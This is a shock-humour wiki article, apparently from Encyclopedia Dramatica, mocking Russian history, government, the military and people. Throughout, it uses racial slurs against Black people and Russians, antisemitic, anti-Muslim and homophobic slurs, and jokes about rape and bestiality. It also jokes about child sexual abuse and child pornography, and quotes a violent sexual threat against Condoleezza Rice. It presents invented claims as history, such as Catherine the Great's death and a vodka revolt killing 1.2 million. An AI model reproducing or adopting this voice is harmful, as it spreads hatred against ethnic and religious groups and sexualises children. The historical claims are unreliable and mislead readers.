[[Image:DowntownRussia.jpg|thumb|Downtown Moscow.]]

East of our other big, [[Fag|inscrutable friend]], [[China]], Russia is a big, big place, only being surpassed in size by [[Goatse]]’s anus. Its location, as [[Sarah Palin]] knows, is right next to [[Alaska]].

==ðe Olde History==
[[File:Leninsrevenge.png|thumb|right|That's basically how it went.]]
[[Image:Sovietflyer.gif|thumb|A common Soviet propaganda flier of the Cold War era.]]

[[At least 100 years ago]] the Kievskaya Rus' ruled the area. Contrary to popular Russian belief, it was in fact founded by some lost [[Viking]]s who were hunting for <s> Tartar</s> Finno-Ugric aka "Russian" women because they wanted slaves.

'''FUN FACT: The word "SLAV-E" was actually derived from the word "Slav" because "Slavs" used to be "Slav<s>es</s>" traded by the heathen, no-good, pillaging, wimmin-raping, Jew Gold stealing Varangians! Long live Thor! Yep, that's actually no coincidence! Slavs = Slaves and their history reflects that pretty damn well! Please tell that to Belarusians and not Ukrainians (yep, Belarusians, because it is well-known fact that Russians are Finno-Ugric and Ukrainians are Turco-Iranians, in fact, there were no Russians and no Ukrainians at the time, and modern-day Belarusians were being referred to as "ov the Rus" meaning "slaves of Rus", which is a Finnish name of the Swedish Vikings) next time :-)'''

[[File:Traditional hunting grounds of the Finnish tribes.png|thumb|Perkele!]]

Vladimir, I had to decide between which Kike-worshipping Religion to convert to so he stole Eastern Orthodoxy. His reasoning behind doing so was Muslims stank, were pitiful, and forbade alcohol, Jews had clearly been abandoned by their god, and Catholics were barbarians that lived in mud huts ('''{{wikilink|Vladimir_the_Great#Christianization_of_Kievan_Rus'|its true}}'''). Vladimir wanted some Roman chick to be his wife. She was religious and wanted the whole country to be Jew. He said: "Fuck that(Rus')!". So he stole Eastern Orthodoxy from the [[Roman Empire|Byzantines]] and the Orthodoxy came...

In the 13th century Genghis Khan’s grandkid invaded and [[pwn]]ed the Kievskaya Rus'. [[Sweden]] tried to join the party, but everyone laughed at them because they hadn’t created [[cell phone|cellular telephones]] yet. The Mongols controlled Russia through tribute for at least three hundred years, which is a long time. This is why all the Russian tapestries and picture books from a few centuries ago have the bad guys looking like Guy Sebastian, who all Russians think is ugly. In 1480, Ivan the Great got Moscow organized. By 1480 Western Europe was experiencing a renaissance in [[art]] and [[religion|faith]], while the Russians were still forced by their Tatar Overlords stretching their asses open to see how much vodka they could fill it with. Ivan I's grandson, Ivan the Terrible, got the throne when he was three, which explains a lot. He became the first Czar as a [[13-year-old boy|teenager]] and set the my-dick-is-bigger-than-yours precedent for the rest of Russian history. He also set the precedent for invading random obscure little countries, after which he finally kicked the collective Tatar ass out of Russia.

Ivan the Terrible was an incredible [[lolcow]]. As an [[shota|8 year old boy]], he was molested by the majority of boyars presiding under him. Ivan's included [[W|robbing his own subjects]], killing animals for fun, and sitting by the fire with a nice book. When Ivan got around to settling down and marrying, he had a Mrs. Russia pageant to look for his [[waifu]]. He picked a woman who he called, My heifer. [[LOL WUT|Ivan was a deeply religious man and promiscuously bisexual]]. He himself was the abbot of a little monastic order called the Opprichniki, which would storm churches and have torture and buttsex while preaching Christian values.

Ivan the Terrible hit his son with a metal pole, which was fatal. When asked, Ivan said he "[[I did it for the lulz|vaz chust doeengk eet for zee lulz]]". His next son was an [[idiot]] who got kicked out by his brother-in-law. Then [[Poland]] invaded because Russia forgot about them. [[Irony|Ironically]], Russia has never forgotten about them since. Thus Russians can often be heard making snide remarks about Poles and partitioning them into tiny pieces with the [[Germany|Germans]], who enjoy them in sausages.

The next poor idiot to hit the Russian throne was Michael Romanov, whose descendants held onto it with an iron fist until the [[Communist|Gommunist]]s shot them. The Romanov dynasty was uneventful until Peter the Great, who decided to Europeanize the Asiatic hordes of Russia and forced all the nobles to shave their beards and learn French. He also [[pwn]]ed the Church. Everybody hated him. His grandson was a drunk and let his wife Catherine rule the country. She was called The Great too. This is because Russian historians aren’t very imaginative. They could have called her Catherine the Slut. Anyway, she did all sorts of shit for museums and newspapers and educational stuff. Catherine died at the age of 67 while having [[bestiality|sex with a stallion]] (she was crushed to death by the humongous [[Mr. Hands|horse-cock]]).

Then [[Napoleon]] invaded. Russia tends to get invaded a lot. Napoleon was a crazy Frenchman who had at the time conquered most of Europe for the [[lulz]]. Alexander 1 did not share his sense of humor. Being a chickenshit he told the army to just keep retreating. This turned out to be a good idea because by the time Napoleon occupied Moscow somebody had set fire to it. Contrary to popular belief though, Napoleon was defeated during the Russian Summer, not Winter; he invented the winter story so it wouldn't be so humiliating for him. He ran away to take it [[in the ass]] at Waterloo.

Rasputin was the single reason for the downfall of the Romanov dynasty. A man who would now represent a pedophiliac Baloo Bear from ''The Jungle Book'', he made the Tsarvich's son Alexi sing "The Bear Necessities" while stroking his [[#Rasputin's Wang|erect penis]].

[[Image:Lenin.jpg|thumb|'''Spoilers:''' Lenin <del>dies</del> sleeps.]]

The Russian revolution shortly followed, as they were homophobes and not impressed by this [[PETA]] like behavior by the heir to the throne. It also turns out Alexi was [[emo]] and used to cut himself whilst thinking about all the times his father had ignored him over the years.

Meanwhile, all the peasants were serfs and hated it, so they decided to have a [[Communist|Gommunist]] [[Revolution]], which was never particularly communist but, to be fair, was a pretty cool revolution. Lenin was the first “communist” leader of Russia. Then he had a [[HNNNNNNGGGGG|heart-attack]] from eating too many smuggled [[McDonald's]] burgers, and everything just went downhill from there. [[Messin' With Sasquatch|Stalin]] was a paranoid bitch who had all his enemies shot. Leon Trotsky, his main opposition, died mysteriously by falling brain-first onto an ICE AXE while living in Mexico City. Mexican officials were not at all suspicious. Then he had all his friends shot for good measure. Just in case he had missed someone, he starved all the Ukrainians to death. Starvation was a good idea because eventually they were going to turn into zombies 60 years after Chernobyl anyway. The <s>KGB</s> NKVD is the organization that did all the shooting because they were the only Russians who could be trusted not to shoot Stalin. The <s>KGB</s> NKVD ended up shooting itself multiple times, including the organization's leader. After a while, they decided propaganda was easier than shooting people.

===The Cold War===
The [[Flame war|Cuckold War]] began at Yerevan when Wilson and Churchill became jealous after overhearing Stalin and the President of Armenia comparing the size of their wangs. With Churchill and Wilson's wangs being much smaller they felt the need to overcompensate by taking over the Eastern World. Unfortunately for Stalin, people need to eat in order to work and be content. What Russia was good at was getting into missile-pissing matches with the United States and collecting third-world nations like Pokemon cards. The super holographic card of the deck was [[Spain|Cuba]], which had a rich supply of cigars, sugar, and pork sandwiches.

Soviet Russia was very different from the Western World. For example, in [[California]], you can always find a party. In Soviet Russia, the party could always find you. In other ways, they had things in common. For example, the citizens of Soviet Russia were very hateful of [[Latvia]]ns.

[[Image:Img_intro.jpg|thumb|Reagan informs Gorbachev that his country has been [[pwned]] by the [[United States]], or that its his bedtime.]]

The USA was jealous that the Soviet Union had control of Russia. To counter this, [[NATO]] installed nuclear missiles in [[Turkey]] to show Russia who was the boss. Russia attempted to place a large arsenal of nuclear weapons in Cuba, leading to the [[Cuban Missile Crisis]]. The US's naval superiority and [[JFK]]'s [[rich and beautiful|stunning good looks]] quickly put Russia back in its place, safely ending the crisis. And Americans won't really buy any nuke shelters til present day...

The entrance of [[Ronald Reagan]] spelled doom for Soviet Russia. With Reagan's super strength, heat vision, and with Bonzo the Supermonkey at his side, the United States would soon become the victor in the Battle of the Cocks, for [[Florida|America's cock]] was/is biggest of all (approximately the size of Japan...x2). But Reagan failed because the White American cock was to small so he decided to use black Cocks but failed again because [[The Great Black Dick Hoax|black dicks are infact small]] so he used his special weapon [[Nigger]]s with [[Dildo|giant Prosthetic dicks]] and won the Cuckold War.

Gorbachev tried to prevent the United States from conquering the USSR by implementing perestroika and glasnost. Perestroika was an economic reform which consisted of changing the Russian currency to the US dollar and hiring Donald Trump to clean up the business sector of Russia. Unfortunately for Russia, Donald Trump soon left the project in favor of cultivating [[Paris Hilton]]'s career and filming reality TV shows.

Glasnost was social reform. Some freedom of press was allowed, resulting in angsty teenage poetry being printed in all major newspapers in the U.S.S.R. Prohibition was also enacted since Gorbachev felt that Russians drank too much vodka, not leaving enough for his personal use. This resulted in the Great Vodka Revolt of 1985 in which 1.2 million people died.
 
 
[[Image:The Cat.gif|thumb|center|Ooh, then it was THAT much????]]

<center>Prohibition was lifted soon after.</center>
 
 

===Roll the end credits...===
 
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[[Image:Yeltsin.jpg|thumb|right|"If you're dissolving the Soviet Union and your pants fall down, I think it's okay to laugh and to let the world laugh too, because, come on, life is funny."]] 
[[Image:Russiawantswar.jpg|thumb|right|Russia wants war with EU and the USA! Just look at how many countries voluntarily join NATO for protection from Ivan.]] 

In 1991, the Soviet Union fell after Gorbachev admitted to being quoll furry during a press conference with the Prime Minister of [[Australia]]. Disgusted with how [[awesome|godless]] their country had become, the Russian population revolted against the government and installed a [[No|democracy]]. This quickly led to a flood of Tropicana orange juice, Nike sneakers, and heroin into the country.
The Russian Federation was born. In the spirit of the newfound democracy, the Russian people [[lie|selected]] a new leader that was truly representative of the people. In that, we mean, he consumed three meals consisting entirely of Stolichnaya every day. This man's name was [[drunk|Boris Yeltsin]]. Yeltsin oversaw the country's transition from a command economy to a [[lol|free-market]] economy, and needless to say, in his drunk hands, the experiment [[fail|failed]] miserably. Dazed Russians who all once again found themselves in the bread line wondered what the fuck happened. Yeltsin was one of the most corrupt, unpopular failures in history, and left the country in shambles. [[George W. Bush|Unsurprisingly, he was elected to a second term, nonetheless]].

In 2000, Yeltsin handed over power to the new glorious leader and proud pedophile, [[Vladimir Putin]]. Putin quickly assured that [[Blanking in progress|he would dismiss all of the corruption charges hanging over Yeltsin's head]]. What a fucking guy.

Later on August 30, [[2022]], it was announced that Gorbachev has [[death|died]] from a severe and prolonged illness. Goodnight our sweet prince.

=== Russia 2: Electric Boogaloo ===

In the mid-late [[Last Thursday|nineties]] it was thought by western powers, that the Russian Federation was well on it's way to become a divided cesspool akin to the Balkans. It was just a matter of time before local overlords and oligarchs start carving up their own neo-feudal fiefdoms from the rotting carcass of Russia/USSR. This grim and lulzy fate was, to the joy of some and despair of others, evaded by ruskies installing a first capable leader since [[Stalin|Stalin]] - [[Bad Vlad|Vladimir Putin]], and the results were magnificent indeed. Coming from a tried-and-true KGB stock (and thus having vitally important and useful secret service support), Putin went on to bitchslap the oligarchs, the press, the military, the political parties, his pet tiger and everyone else, those who could not be bitchslapped or, God forbid, were hostile towards glorious leader, soon suffered righteous Unfortunate Accidents™, such is life in Russia.

The first test of ¨Resurgent Russia¨ was the Russo-Georgian War. [[Georgia|Georgia]], the birthplace of Stalin but otherwise an unremarkable shithole, had a bunch of Russians living in the autonomous regions of Abkhazia and [[South Ossetia|South Ossetia]] who wanted to join their beloved motherland, but the mean old Georgians wouldn't let them. Seeing this great injustice, president Putin ordered a valiant liberation campaign against clearly fascist and cannibalistic Georgans. Within 5 days the Russian troops liberated the two territories.

Fast forward to 2014 and once again the new strength of Russia was made made evident for all to see. In [[Ukraine|Ukraine]], a fascist coup was instigated by the west, probably in order to facilitate easier buttfucking of ukrainians by said powers. Seizing the opportunity, Russia was once again able to help out her children by <s>annexing</s> legally incorporating the Autonomous Territory of Crimea into the Russian Federation after a fair and lawful referendum held in Crimea on that issue. Unfortunately, the territories of Donetsk and Luhansk were unable to fully escape the clutches of the Kievan fascists, and the conflict there continues til today.
[[Image:Putincrimea.jpg|thumb|right|]]

In the recent times, Russia is engaged in valiant fight against [[ISIS|ISIS]] in Syria, bombing the fuck out of the towelhead goatfuckers whilst inducing massive amount of lulz from the EU/USA who constantly bitch about the violation of human rights of [[HA HA HA, OH WOW|moderate syrian islamists]]. Other fun activities include: messing with the EU by slowly dismantling Ukraine, [[2016 Presidential Election|rigging the us elections]] and [[shit|The Last Jedi's]] rating on [[Rotten Tomatoes]], and causing [[WalkAway|sane people to leave the Democratic party]] and building a trade network known as ¨New Silk Road¨ that will make Eurasia the richest continent in the world. Fun times are to be had in the future.

And wouldn't you know it, the fun times arrived sooner than anyone could have expected. Unsatisfied with [[NATO]]s continuous [[Rape|encroachment]] upon the innocent Russia, the great leader decided to stamp his foot to the ground and perform a [[Iraq|legitimate security operation]] in [[Ukraine]] to ensure that a [[Slavery|friendly regime]] is established. However, the USA & Friends lost their collective shit over this as only they have the moral/political/economic right to do such shenanigans and their war-boners immediately began to harden. But lo! Ukraine was not a member of NATO so the western pigs could only write mean letters to Putin and dump fucktons of weapons into Ukraine hoping that their stooges will do the job for them, thus Russia continues the valiant struggle against the western aggression.

==Government==
[[File:Stalin note.jpg|thumb|275px|right]]
There is a government, but the Russian mafia or "Brotherhood" (in Russian Bratva/"Братва") is much more interesting and influential. The "Brotherhood" also have much, much more money than the Russian government. If you have any business in Russia (although hopefully you don't), it is much quicker to work directly with the "Brotherhood" rather than through government agencies. It's also cheaper.

In Russia, one needs to know people in power to make things work. You must know someone, who knows someone in power; it is the way to have the things done in Russia.

The Ruskies, or Tundra/Commie Niggers, have received a bad reputation due to the brilliant American Propaganda during the Cold War. However, Tundra Niggers made extreme advances from a backwards feudal nation to a country more expensive and less sanitary than west nearly overnight and at the cost of only 40 million slave-labourers. During WWII Stalin also managed to mortgage a lot of cannonfodder to the Americans to assrape <strike>Der Furher</strike> [[Hitler|DEN FÜHRER]] (Edited by Grammar_Nazi_88 00:34 January 30 2009), and then steal both their technology to [[masturbate|pride themselves in its glory]].

The Brotherhood has replaced the Italian Mafia as the principle ultra-capitalist element in the United States, so Muricans can now have the convenience of working for them directly from home. You know that new skyscraper in your nearest big city? Well, they probably own that.

In 2000, Tovarish Putin decided to honour <strike>the good old [[communism|commie]] times</strike> the Great Russian Federation by restoring <strike>the Soviet Anthem</strike> the 1944 Alexandrov tune. As you can see/hear/[[moar|research]] in the below linked videos, the lyrics are <strike>copypasta</strike> incredibly original and of enormous patriotic feeling (Edited by [[fag|p00t1|/|_ru]], 14:21 October 25 2009). [[Some argue]] Tovarish Putin is attempting to justly honour past Russian struggles and wondering how to run a single-party democracy to <strike>[[pwn]] the country in a neo-Stalinist surge</strike> STOP WROTE LIES, YOU WESTLY STUPID PERSON Edited by [[fag|p00t1|/|_ru]], 14:27 October 25 2009).

[[Image:MedvedMedvedev.jpg|thumb|220px|Russia's current president Dmitry Medvedev (your left) with [[lie|his subordinate]] [[Vladimir Putin]] (your right).]]
[[Image:Russian_Bear_on_teh_street.jpg|220px|thumb|Move along, citizens, there is nothing special to see.]]

Russia's government consists of:
#President - <s>[[sockpuppet|Dmitry Medvedev]]</s> , [[Vladimir Putin]] lulz.
#Prime Minister - [[Vladimir Putin]]
#Minister of Finance - [[Vladimir Putin]]
#Minister of Foreign Affairs - [[Vladimir Putin]]
#Minister of Justice - [[Vladimir Putin]]
#Minister of [[War|Defense]] - [[Vladimir Putin]]
#Minister of [[Education]] - [[Vladimir Putin]]
#Minister of [[Economy]] - [[Vladimir Putin]]
#Minister of Transportation - [[Vladimir Putin]]
#Eternal Minister of [[Alcohol|Vodka]] - [[Boris Yeltsin]]
#Minister of Bear - [[Bear|Medvedev]]

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=== Government Critics ===

Having your own ideas or pretending to have your own ideas about how Putin runs the Government is perfectly fine and legal, and in fact when you receive your dose of lead, or perhaps even Polonium, Mr. Putin himself will express his regrets and condolences on public television.
But unfortunately the so-called "Dissidents" who are killed or survived assassinations like the mentally retarded Muslim cunt Alexander Litvinenko or the Buttbuddy of British [[Donald Trump|Trump]]-Hater Christopher Steele Sergey Skripal are only Defectors and Double-Agents so technically the only real Oppositionists in Russia are old-fashioned Communist Dinosaurs like [[Old|Gennady Zyuganov]] or Populist Nationalists like [[Nazi|Alexi Navalny]].

==Foreign Policy==
 
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{{quote|And this slut - Condoleeza Rice. She is a black whore. Who needs a good cock. Send her here, one of our division will make her satisfied...She will choke in Russian Sperm as it will be leaking out of her ears.'|rcbuchanan}}
Looks like somebody got Jungle Fever.

==Military==
[[File:Gaysexlol.jpg|thumb|right|220px|Russian soldiers being [[raped]] by [[Jap]] soldiers during the Russo-Japanese War.]]
The [[Russian Army|Red Army]] [[Chris Hansen|loves children]]. Epic Lulz can be gathered by mentioning this fact to Russians/and or telling them that all Russian [[bitch]]es deserve to be raped as [[Anna Beshnova|punishment]].

{{center|
{{frame|
{{videoframe|rm|font-weight: bold;|
|<youtube>0QiOn-GM7d8</youtube>
;Video demonstrating the raw power of the Red Armies futurewar tech.
|<youtube>hk4PedGOn28</youtube>
;100 percent accurate, completely truthful documentary of life serving in the Red Army.
|<youtube>YJhlm2aTS0M</youtube>
;Chronicle of the Russian army.}}
|}}
}}

During WW2 Germany attacked Russia intending to to conquer it but got pwned by [[Zerg Rush|secret Russian war technique]]. The entire population of Russia has charged at the enemy with no weapons or equipment, the bodies of the fallen eventually stack up so high that a tower of corpses topples onto the enemy, crushing them all. After Russia regained all the territory it lost in the beginning of the war, it rained down on every other country past it's border like a giant wall of drunken [[rape]], raping everything from: children, men, old women, old men, animals, dead bodies, retards, and the occasional woman, that would make even the sickest pervert today blush. Russia essentially is a very poor country but so are many of its neighbors which explains Russia's prolonged existence and why it isn't a nuclear crater today. Unable to produce sufficient funds to start a war leaves Russia and its neighbors at a stalemate, the only reason russia is considered a superpower and not a 3rd world shit hole is because of its huge population where it can get scientists for cheap by paying them with loaves of bread and its massive taxation all of the money which goes directly into its military and research. Russia barely hanging on to make it to super power status in reality most of their arsenal is aging and faulty.

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{{videoframe|russki5|font-weight: bold;|
|<youtube>Cm-4_G0koxU</youtube>
;1
|<youtube>D-uO6WqiChU</youtube>
;The Russian Army 'liberating' Europe...Thanks guys!!!
|<youtube>LWZ8hBWNHKs</youtube>
;Sick Russian Racists!!!
|<youtube>w_NGRMa8idI</youtube>
;4}}
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==Economy==
[[Image:Zangief.gif|frame|Zangief, the "Red Cyclone", a hero of the Soviet Union, about to [[fuck|kick]] the shit out of Ryu.]]

The Russian economy is principally organized by the Brotherhood. This is very comforting to government and business leaders in Western democracies because it's a familiar system.

If you have problems with your business partners, your "brotherhood" will meet with the other guy's "brotherhood", and they will try to settle your problems through discussion. If they can't get right, they may apply to a "thief in the law" who will take a decision. There also is an official way of settling the problems through a court, but it is less effective. Many businesses prefer to employ commercial departments of police or private security companies, which in reality are just a camouflaged brotherhood aka "bratva".

The accepted currency in Russia currently are the following: <s>[[USA|American dollars]]</s>, [[Nazi|German]] cars, vodka, and [[Prostitute|attractive women]]. The currency is subject to change. With the huge revenue out the Export of Oil and Gas, Russia can import machines, electrical appialiances and other quality comsumer goods like forgein [[prostitutes|women]] (mostly from their [[LOL|Brother]] Republics like [[Ukraine]] but also from [[China]]).

Russia's [[lie|only technological breakthrough]] and main export is the Avtomat Kalashnikova, an [[engrish|aussalt]] rifle capable of killing Africans even when covered in [[Jenkem|mud]]. Other leading exports are [[cp]], pirated [[mp3]]s from allofmp3.com, PC Trojans, vodka, balalaika and [[internet]] [[women|brides]].

{{quote|''"I am feeling a spit flying out of my mouth from mouth watering."''|Mayonnaise lover.}}

Mayonnaise is one of their largest exports as seen here in this video. The commentary alone produces much lulz.

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==Religion==

The Glory of [[Putin]] (more like the glory of [[cunt|poontang]], [[amirite?]]) is the official religion of Mother Russia. It's worth noting also that many are of Russian Orthodox faith. Just like in Catholicism, the priests wear funny hats, but in this instance, they are even much more funny looking. Also just like Catholicism, the nuns in this religion are all total cunts. Amirite? Though steamy hot pleasure sex with these nun-cunts are is quite hard to come by, one can solve this issue by tying them to the bed and slapping the shit out of their tits until they agree to give you the best blow job a man could possibly desire. Haha, and you didn't think such atrocities were common in mother Russia?? You silly American faggots!

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</center>

===On Islam===
 
{{quote|Zaporozhian [[Trolling|Cossacks]], to the sultan of Turkey:
You Turkish Satan, brother and comrade of the accursed Devil, and Secretary to Lucifer himself, what the hell kind of noble knight are you? The Devil craps and your army [[OM NOM NOM|eats it up]]. You will never be fit to rule over [[Raptor Jesus|Christian sons]]. We do not fear your army. On land or sea, we will fight you. You scullion of Babylon, you wheelwright of [[Macedonia]], you beer-brewer of Jerusalem, you goat-flayer of Alexandria, you swineherd of Egypt, both the Greater and the Lesser, you sow of Armenia, you goat of Tatary, you depredator of Kamenets, you evildoer of Podoliansk, you grandson of Beelzebub himself, you great silly oaf of all the world and of the netherworld and, before our God, a blockhead, a swine's snout, a mare's ass, a butcher's cur, an unbaptized brow, May the Devil take you! That is what the Cossacks have to say to you, you slimy rascal! You are unfit to rule over true Christians! We do not know the date, because we [[Time|don't have a calendar. The moon is in the sky, the year is in the book, the day is the same for us here as for you over there]], and you can kiss us right back there!|Koshevoi Ivan Sirko of the Zaporozhian assembly}}
 
[[Wikipedia:Zaporozhian_Cossacks|It was actually ukrainians]], [[Shit nobody cares about|but who gives a fuck?]] Only [[you]].

==People==
 
<center>{{frame|<youtube>G5xzhFYR68Y</youtube>
<center>'''Russian music'''}}</center>
 
[[Image:Exploited-fight4.jpg|thumb|Russian [[punk]] rockers during a concert.]]
[[Image:Gay_Russian_Tourism.jpg|thumb|Welcome to the 21st Century Russia.]]
[[Image:2million.jpg|thumb|right|Russian soldiers not only liberated Europe from fascism they also cared for girls and women in the <s>occupied</s> liberated countries]]
[[Image:Nmceu.jpg|thumb|right|220px|95 % of Russian women are ugly and boring cunts and this medicore-looking woman is one of the little exceptions to the rule]]
[[File:Russian man and South Korean woman.jpg|thumb|right|220px|Russian men treat foreign women like Angels]]
[[Image:Russiahospitalit.jpg|thumb|220px|In Soviet Russia, the ginger stab you!]]
[[Image:RussianczH.jpg|thumb|220px|Typical Russian taking a bath.]]
 
<Center>{{morphquote|CC1|background-color: white;|font-weight: bold;
|Likewise there can be no doubt that the Finnish element played a part in the formation of the anthropological type of the Great Russian, since his physiognomy does not by any means reproduce every one of the features generally characteristic of the Slav. The [[Azn|high cheek-bones, the dark hair and skin, the squat nose]] of the Great Russian all bear credible witness to the influence of a Finnish admixture in his blood.|Vasilii Kliuchevsky on the origin of the “Great Russian stock” and state
|The native inhabitants of North-Eastern Rus’ were Finnish tribes — tribes of the race described in the Chronicle as neighbors of the Eastern Slavs from the moment of their first entry into the Russian plain. Nevertheless those Finnish aborigines had made their homes in the swamps and forests of Northern and Central Rus’ long before any Slavonic element becomes traceable there (e.g., in the 4th-7th cc. — Author)… The extensive area between the Oka and the White Sea furnishes us with thousands of non-Russian names derived from that aboriginal race — names of which the lingual uniformity makes it clear that the same tongue was spoken throughout the whole of that region, and that it was a tongue closely akin to the one now in use among the native population of Finland we find scores of names of rivers ending in va (va in Finnish means water) such as the Protva, the Moskva, the Silva, the Kokva, and so on, while the name of the Oka itself is of Finnish origin, since it is only a Russified form of the Finnish word joki, of which the general meaning is river we see that the north-eastward direction taken by the East Slavic immigrants brought them in contact with Finnish aborigines almost at the exact centre of what now constitutes Great Russia.|By using the phrase "Russian immigrants" the author implies they were from the territory of the Kievan Rus' (or what is now known as simply [[Belarus]]
|That is why the writer of that part of the Ancient Chronicle which records events of the eleventh century gives not a hint, in his references to soothsayers, customs, or beliefs manifestly Finnish, that it is of an alien race, of the Tchudes, that he is speaking. To him paganism, whether [[Ukraine|Russian]] or Finnish, was all one, and he took no account of racial origin or ethnographical differences when writing of heathen beliefs. It is clear, then, that, in proportion as the two races drew nearer to one another, their differences of belief tended to disappear.|Kluchevsky, V. O. (2013). pp. 210-1. A History of Russia (Vol. 1). London: Forgotten Books. (Original work published 1911)
}}</center>
 
The people of Russia are collectively referred to as tundra [[niggers|nigras]], and have no real connection to [[Canada|ice niggers]], who are full of [[anti-lulz]]. For the most part they are all robotic alcoholics, but you would be too if you lived in a country that was ruled by Dumbfucks (Yeltsin), defamed by the American Propaganda Apparatus as evil and terrorized by [[Muslims]], [[amirite]]?

Russians speak Russian (Русский язык), which is written in Cyrillic. Their ability to write a simple alphabet that differs from the Roman alphabet gives them a major superiority complex. Never mind the fact that [[Chinese]], [[Japanese]], and [[Korean]] [[lie|are much more complicated writing systems]]. Their <s>[https://ashi-moto.livejournal.com/204682.html?thread=2188682#t2188682 ignorance of their neighbors to the East]</s> (dead) may be the cause for this fierce sense of superiority. Most aren't willing to admit their oriental ancestry even after centuries of sino-mongol rape

Russian general knowledge and 'education' is virtually nonexistent, and the majority of the populations inability to either read or write has remained essentially ''unchanged'' since the middle ages....which is understandable given that a full 80% of them spend their miserable, insignificant lives on small desolate farms surrounded by rats, lice, grain alcohol, infant skulls, and pig shit before the government every so often decides to arbitrarily 'off' them in vast numbers simply because...well...they're ''RUSSIAN''...so why the FUCK NOT?!? The availability of food is unimportant to the Russian (which is good because they are always starving), as he can simply brew [[vodka]] in his bathtub which otherwise, judging by a typical Russian's appearance, is never used for its intended purpose anyways.

Some favorite pastimes of Russians are drinking vodka, [[pedophilia]], selling organs, buying 1980's Jordache yankee blue jeans and Adidas tracksuits on the black market, shooting people, not bathing, standing in bread lines, and killing Chechens for their [[OM NOM NOM|delicious oils]]. When America does something it is usually [[WIN|evil;]] when Russia does the same thing it is [[Fail|glorious!]]

Due to their god awful history and present situation, the Russian people are a hearty bunch. It is not uncommon to see roving street gangs in Moscow beating up innocent people. Do not fear though, as this is the police. The police also commonly use scare tactics such as sarin gas and other hilarious forms of lethal force. Often times little children and fat old babushkas are also tragically suffocated by this hilarious nerve agent. But as the signs say in Russia, "when shit's goin' down, get out the muthafuckin' way NIGGUH!!"

It may seem a surprise, but Tundra niggers have their own [[double nigger|niggers]]. These are the brother nations from Tajikistan, Uzbekistan, Azerbajan, Armenia who leave their countries because they love to work for Russian people just for "thank you's". "Thank you" is worth 1 wooden ruble and four internets. Today so many people have moved from those countries that now they actually don't exist at all.

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{{videoframe|russkis|font-weight: bold;|
|<youtube>M3ye6XUig9c</youtube>
;Typical place for Russian party is common area in high-rise project housing.
|<youtube>KoQb8vb4blA</youtube>
;Did you know the Russian Army invented hip-hop? Many [[nigras]] claim they invented it, however, they are [[liars]].
|<youtube>BLMrVclGjb8</youtube>
;A [[typical]] Russian cartoon for kids of all ages.
|<youtube>-XwsqTVFrvk</youtube>
;Modern Russian medicine.}}
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}}

===Breeding habits===

Russian men express love with <strike> their fists just like all Slavic men </strike> actually these Russian men are Turkic and Northern Caucasian Muzzies and [[Gypsies]], and most </strike> Russian and Slavic children are the product of [[rape]] </strike> these children are Muzzies and Gypsies too. Orphans are also readily available from Russia, as baby factories are set up in Siberia to fuel the child [[prostitution]] and [[pornography]] industries whose main costumers are Americans but Russia is since a long time in strong competition with [[Ukraine]] and [[Romania]] who have cheaper child hookers and better conditions for producing child porn. When you go to Russia, and you are not Russian, be sure not to smile if you are alone, this is a sign that you wish to have kbs. Though many children are beaten from such a young age in Russia, it's ok, because most of these children actually find this quite enjoyable. Many psychologists deem this to be the cause of such interest in sadomasochism as they age into adults in present-day Russia.

While it is unusual for heterosexuality to flourish in modern Russia, the occasional straight male tourist will likely be disappointed by the leg hair, mustaches, and overall stench of the [[bestiality|women]] in this bizarre nation. Nowadays, one can pursue a love of the Russian people via [[Online dating|the internet,]] which is just beginning to catch on and proving to be a valuable medium for the dissemination of those resilient Russian genes.
 
 
{{cg|{{colortext|WHITE|From Russia, With Love}}|randyrussians|center|<gallery perrow="5">
File:Russian_dating_-_1960s_toilet.jpg
File:Russian_dating_-_an_offer_you_can_refuse.jpg
File:Russian_dating_-_axe_freak.jpg
File:Russian dating - banana in bed.jpg
File:Russian dating - banana skinhead.jpg
File:Russian dating - bathing clothed.jpg
File:Russian dating - bearskin rug.jpg
File:Russian_dating_-_beer_in_the_bath.jpg
File:Russian_dating_-_catfished.jpg
File:Russian_dating_-_chav_slav.jpg
</gallery>|<gallery perrow="5">
File:Russian_dating_-_chicken_icon.jpg
File:Russian_dating_-_disturbing_pose.jpg
File:Russian_dating_-_eyes.jpg
File:Russian_dating_-_fat_drunk.jpg
File:Russian_dating_-_fur_coat.jpg
File:Russian_dating_-_giraffe_santa.jpg
File:Russian_dating_-_guitar_boat.jpg
File:Russian_dating_-_hood_picnic.jpg
File:Russian_dating_-_one_guy_67_jars.jpg
File:Russian_dating_-_kalashnikov_cleaner.jpg
File:Russian_dating_-_mermong.jpg
File:Russian_dating_-_microwave_flirt.jpg
File:Russian_dating_-_moneyed_monobrow.jpg
File:Russian_dating_-_oompa_loompskas.jpg
File:Russian_dating_-_retarded_bodybuilder.jpg
File:Russian dating - washerwoman.jpg
File:Russian_dating_-_retarded_einstein.jpg
File:Russian_dating_-_rug_ninja.jpg
File:Russian_dating_-_spetsnaz_spastic.jpg
File:Russian_dating_-_spiderfedora_gentleman.jpg
File:Russian dating - pimpmobile.jpg
File:Russian_dating_-_tennis_guy.jpg
File:Russian_dating_-_trash_girl.jpg
File:Russian_dating_-_wet_t-shirt.jpg
</gallery>|border=red}}
 
{{clear}}

===Russian spies===

{{main|GoldenShowerGate}}

Russia is home to KGB, the most notorious spy organization ever. Russian spies are known to be horrendously [[ugly]].

{{frame|<youtube>Os8vg8vEM5k</youtube>|margin=auto}}

==Russians as immigrants==

[[File:Russian Robots.jpg|thumb|220px|The comrades will return!]]
{{quote|forgive english, i am Russia.

i come to study clothing and fashion at American university. i am here little time and i am very hard stress. i am gay also and this very difficult for me, i am very religion person. i never act to be gay with other men before. but after i am in america 6 weeks i am my friend together he is gay also. He was show me American fashion and then we are kiss.

We sex together. I never before now am tell my mother about gay because i am very shame. As i fuck this American boy it is very good to me but also i am feel so guilty. I feel extreme guilty as I begin orgasm. I feel so guilty that I pick up my telephone and call Mother in Russia. I awaken her. It too late for stopping so I am cumming sex. I am very upset and guilty and crying, so I yell her, "I AM CUM FROM SEX" (in Russia). She say what? I say "I AM CUM FROM SEX" and she say you boy, do not marry American girl, and I say "NO I AM CUM FROM SEX WITH MAN, I AM IN ASS, I CUM IN ASS" and my mother very angry me. She not get scared though.

I hang up phone and am very embarrass. My friend also he is very embarrass. I am guilt and feel very stupid. I wonder, why do I gay with man? But I continue because when it spurt it feel very good in American ass.| a Russian immigrant to [[USA|America]]}}

==Notable Russians==
Fucking Zangief.

{{center|
{{frame|
{{videoframe|russki2|font-weight: bold;|
